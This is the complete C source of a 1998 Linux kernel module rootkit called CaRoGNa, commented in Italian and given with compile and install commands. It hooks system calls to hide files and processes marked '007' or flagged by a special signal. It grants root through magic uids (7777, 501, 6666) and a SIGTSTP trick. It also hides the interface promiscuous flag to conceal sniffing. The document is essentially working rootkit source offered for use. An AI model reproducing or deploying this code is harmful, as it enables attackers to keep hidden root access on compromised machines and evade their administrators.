/*
 * CaRoGNa.c			Implementazione del modulo CaRoGNa.
 *				Per maggiori informazioni leggete gli
 *				articoli relativi al progetto CaRoNTe sui
 * 				numeri 3 e 4 di BFI, prelevabile da
 *				http://softpj98.bkk.org/bfi/
 *				Tecnica Segreta n.1 della divina scuola
 *				dell' HOKUHACKO. Sacro Colpo del Modulo
 *				che Travolge la Radice. 
 *
 *
 *				assolutamente NO (C)1998 FuSyS
 *
 * NOTA: questo modulo e' il frutto del divertimento e della curiosita', 
 *	 della ricerca della conoscenza sulla via dell' HackerDom. Ogni	 
 *	 utilizzo non corrispondente a queste idee e' VIVAMENTE SCONSIGLIATO.
 *	 Questo codice richiede piu' furbizia, impegno e lavoro da parte
 *	 del solito ragazzino pieno di scriptz, warez, ed 3l337n355 =:?  
 *	 man brain per favore. :)
 *
 * Compilate con: 	gcc -c -O2 -fomit-frame-pointer CaRoGNa.c
 * Installate con:	insmod CaRoGNa.o
 * 
 * 3l33t quote: 	"wow, e funzica anche su Solaris ?"  
 *
 * Thanks:		HalfLife, Zarq, Plaguez
 */

#define MODULE			
#define __KERNEL__
#include <linux/module.h>

#include <linux/fs.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/types.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/mm.h>
#include <linux/if.h>
#include <sys/syscall.h>
#include <asm/unistd.h>

#define SUBVISUS	"007"	
#define SIGNIHIL        31
#define FL_DISAPPEAR    0x70000000
#define SACROUID        7777
#define KING            501
#define	OPENFILE	6666

#undef fsuser()
#define fsuser()	((current->fsuid==0)||(current->fsuid==KING))

inline int suser(void)
{
        if ((current->euid == 0)||(current->euid == KING)) {
                current->flags |= PF_SUPERPRIV;
                return 1;
        }
        return 0;
}

int promisc;

int (*old_kill) (pid_t, int) ;
int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ;
int (*old_setuid) (uid_t) ;
int (*old_chmod) (const char*, mode_t) ;
int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ;
int (*old_open) (const char *, int, mode_t) ;

extern void *sys_call_table[] ;

int atoi(char str[])
{
    int res = 0;
    int i ;
    for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
	res = 10 * res + str[i] - '0';
    return res;
}

/* /usr/src/linux/fs/proc/array.c */
struct task_struct *get_task(pid_t pid)
{
    struct task_struct *p = current;
    do {
        if (p->pid == pid)
            return p;
        p = p->next_task;
    }
    while (p != current);
        return NULL;
}

/* /usr/src/linux/fs/proc/array.c */
static inline char *task_name(struct task_struct *p, char *buf)
{
    int i;
    char *name;

    name = p->comm;
    i = sizeof(p->comm);
    do {
        unsigned char c = *name;
        name++;
        i--;
        *buf = c;
        if (!c)
            break;
        if (c == '\\') {
            buf[1] = c;
            buf += 2;
            continue;
        }
        if (c == '\n') {
            buf[0] = '\\';
            buf[1] = 'n';
            buf += 2;
            continue;
        }
        buf++;
    }
    while (i);
    *buf = '\n';
    return buf + 1;
}

int secret(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char *name;
    if (task) {
        name = (char *)kmalloc(200, GFP_KERNEL);
        memset(name, 0, 200);
        task_name(task, name);
        if (strstr(name, SUBVISUS)!=NULL) {
            kfree(name);
            return 1;
        }
    }
    return 0;
}

int killinv(pid_t pid)
{
    struct task_struct *task = get_task(pid);
    char *name;
    if(task == NULL) return 0;
    if (task->flags & FL_DISAPPEAR) {
        return 1;
    }
    return 0;
}

int new_getdents
(unsigned int fd, struct dirent *dirptr, unsigned int count)
{
    unsigned int real ;		
    unsigned int len ;		
				  
    int readen ;		
    int proc ;			

    struct dirent *dirptr2, *dirptr3;	
    struct inode *procinode;	

    real = (*old_getdents) (fd, dirptr, count);

#ifdef __LINUX_DCACHE_H
    procinode = current->files->fd[fd]->f_dentry->d_inode;
#else
    procinode = current->files->fd[fd]->f_inode;
#endif
    if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) &&
    MINOR(procinode->i_dev) == 1)		proc = 1;

    if (real > 0) {	

	dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL);
        memcpy_fromfs(dirptr2, dirptr, real);
        dirptr3 = dirptr2;
        readen = real;
         while (readen > 0) {
            len = dirptr3->d_reclen;
            readen -= len;
            if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL)
	       || (proc && secret(atoi(dirptr3->d_name))) 
	       || (proc && killinv(atoi(dirptr3->d_name)))) { 

               if (readen != 0)
                memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen);

               else  dirptr3->d_off = 1024;

                real -= len;
            }
            if (dirptr3->d_reclen == 0) {
                real -= readen;
                readen = 0;
            }
            if (readen != 0)
            dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen);
        }
        memcpy_tofs(dirptr, dirptr2, real);
        kfree(dirptr2);
    }
    return real;
}

int new_kill(pid_t pid, int sig)
{
        int real;
        int errno;
        struct task_struct *task = get_task(pid);

        if ((sig != SIGNIHIL) && (sig != SIGTSTP)) {
                real = (*old_kill)(pid, sig);
                if (real == -1) return(-errno);
                return real;
        }
	if (sig == SIGNIHIL) { 
        	task->flags |= FL_DISAPPEAR;
        	return(0);
	}
	else if (sig == SIGTSTP) {
		task->uid = task->gid = task->euid = task->egid = 0;
        	return(real);
	}
}

int new_setuid(uid_t uid)
{
        int tmp;        
        if (uid == SACROUID) {
                current->uid = 0;               
                current->gid = 0;               
                current->euid = 0;              
                current->egid = 0;              
                return 0;
        } else if (uid == OPENFILE) {
		current->euid = OPENFILE;
		return 0;
	}

        tmp = (*old_setuid) (uid) ;
        return tmp;
}

int new_chmod(const char *filename, mode_t mode)
{
        int ret ;
        if (current->uid == KING) {
          current->uid=current->gid=current->fsuid=current->fsgid=0;
          ret = (*old_chmod) (filename, mode);
          current->uid=current->gid=current->fsuid=current->fsgid=KING;
          return ret;
        } else ret = (*old_chmod) (filename, mode);
        return ret;
}

int new_ioctl
(unsigned int fd, unsigned int cmd, unsigned long arg)
{
        int ret ;
        struct ifreq netif ;

        ret = (*old_ioctl) (fd, cmd, arg);
        if (cmd == SIOCGIFFLAGS && !promisc) {
          memcpy_fromfs((struct ifreq *)&netif, (struct ifreq *)arg,
	  sizeof(struct ifreq));                
	  netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC);
          memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &netif,
	  sizeof(struct ifreq));        
	} else if (cmd == SIOCSIFFLAGS)
                sys_call_table[SYS_ioctl] = old_ioctl;
        return ret ;
}

int new_open(const char *pathname, int flags, mode_t mode)
{
        int ret;
        if (current->euid == OPENFILE) {
          current->uid=current->gid=current->fsuid=current->fsgid = 0;
          ret = (*old_open) (pathname, flags, mode);
          current->uid=current->gid=current->fsuid=current->fsgid=OPENFILE;
                return ret;
        }
        else ret = (*old_open) (pathname, flags, mode);
        return ret;
}

int init_module(void)
{
     /*	register struct module *mp asm("%ebp");
    	*(char *) (mp->name) = 0;
    	mp->size = 0;
    	mp->ref = 0;		*/

     	register_symtab(NULL);

	old_getdents = sys_call_table[SYS_getdents];
	sys_call_table[SYS_getdents] = (void *) new_getdents;
	old_kill = sys_call_table[SYS_kill];
        sys_call_table[SYS_kill] = (void *) new_kill;
	old_setuid = sys_call_table[SYS_setuid];
        sys_call_table[SYS_setuid] = (void *) new_setuid;
	old_chmod = sys_call_table[SYS_chmod];
	sys_call_table[SYS_chmod] = (void *) new_chmod;
	old_ioctl = sys_call_table[SYS_ioctl];
        sys_call_table[SYS_ioctl] = (void *) new_ioctl;
	old_open = sys_call_table[SYS_open];
        sys_call_table[SYS_open] = (void *) new_open;
	return 0 ;
}

int cleanup_module(void)
{
	sys_call_table[SYS_getdents] = old_getdents;
	sys_call_table[SYS_kill] = old_kill;
	sys_call_table[SYS_setuid] = old_setuid;
	sys_call_table[SYS_chmod] = old_chmod;
	sys_call_table[SYS_ioctl] = old_ioctl;
	sys_call_table[SYS_open] = old_open;
}